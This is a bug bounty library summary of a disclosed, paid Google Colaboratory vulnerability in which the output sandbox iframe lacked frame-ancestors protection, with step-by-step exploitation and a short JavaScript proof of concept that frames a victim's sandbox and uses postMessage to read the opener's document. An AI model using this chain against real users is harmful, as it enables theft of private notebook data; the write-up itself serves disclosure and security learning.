# Insecure sandbox on Colaboratory

Colab output sandbox lacked frame-ancestors CSP, letting a local-network attacker frame it and postMessage to read the victim's Colab document via opener.

- Payout: $1,337
- Severity: medium
- Program: Google
- Found by: NDevTK
- Disclosed: 2023-06-23
- Write-up quality: 7/10
- Original: https://ndevtk.github.io/writeups/2023/06/23/outputframes/
- Library page: https://bugbountylibrary.com/r/blog%3Andevtk-github-io-writeups-2023-06-23-outputframes
- Tags: area:web domain:web impact:data-leak kind:bounty platform:blog sev:medium tech:cdn technique:chained technique:recon vuln:info-disclosure vuln:misconfiguration vuln:xs-leak

**Target:** Google Colaboratory outputframe.html sandboxed iframe
**Root cause:** The output sandbox iframe had no CSP frame-ancestors protection, so any origin could embed it; combined with a predictable per-user subdomain (ID-0-colab.googleusercontent.com) derived from the user ID, an attacker could target the victim's sandbox.
**Steps:**
1. Attacker page runs `let w = open('about:blank')` then `opener.location='https://colab.research.google.com/'` to navigate the opener to Colab.
2. Leak the victim's Colab user ID from unencrypted DNS queries.
3. Build iframe src `https://<IDfromDNS>-0-colab.googleusercontent.com/outputframe.html` and append hidden.
4. After 100ms, `f.contentWindow.postMessage({sandboxed_iframe_evaluation: 'console.log(parent.opener[0].google)'}, '*')` to execute in the sandbox and reach back through parent.opener.
5. Read `parent.opener[5].document` to access the chart/document content.
**How found:** Noticed the output sandbox iframe lacked frame-ancestors CSP, then realized the per-user subdomain is predictable and leakable via unencrypted DNS, enabling targeting a specific victim's sandbox.
**Exploitation:** Attacker hosts a page the victim visits; it opens about:blank, navigates the opener to Colab, sniffs the victim's Colab ID from plaintext DNS, embeds the victim's output sandbox iframe, and uses postMessage sandboxed_iframe_evaluation to run JS that reads parent.opener document contents, exfiltrating the Colab document/chart.
**Insight:** When a sandbox isolates via a per-user subdomain, check whether that subdomain is predictable/leakable (e.g. via plaintext DNS) and whether the framed page lacks frame-ancestors; postMessage handlers that eval into parent.opener can bridge the sandbox back to the app origin.

## Proof of concept (copied exactly from the original report)

**postMessage to sandboxed outputframe to read opener**

```
let IDfromDNS = 'blah';
let f = document.createElement('iframe');
f.hidden = true;
f.src =
 'https://' + IDfromDNS + '-0-colab.googleusercontent.com/outputframe.html';
document.body.appendChild(f);
setTimeout((_) => {
 f.contentWindow.postMessage(
 {sandboxed_iframe_evaluation: 'console.log(parent.opener[0].google)'},
 '*'
 );
}, 100);
```

**Open about:blank and set opener location**

```
let w = open('about:blank');


On about:blank

opener.location = 'https://colab.research.google.com/';
```

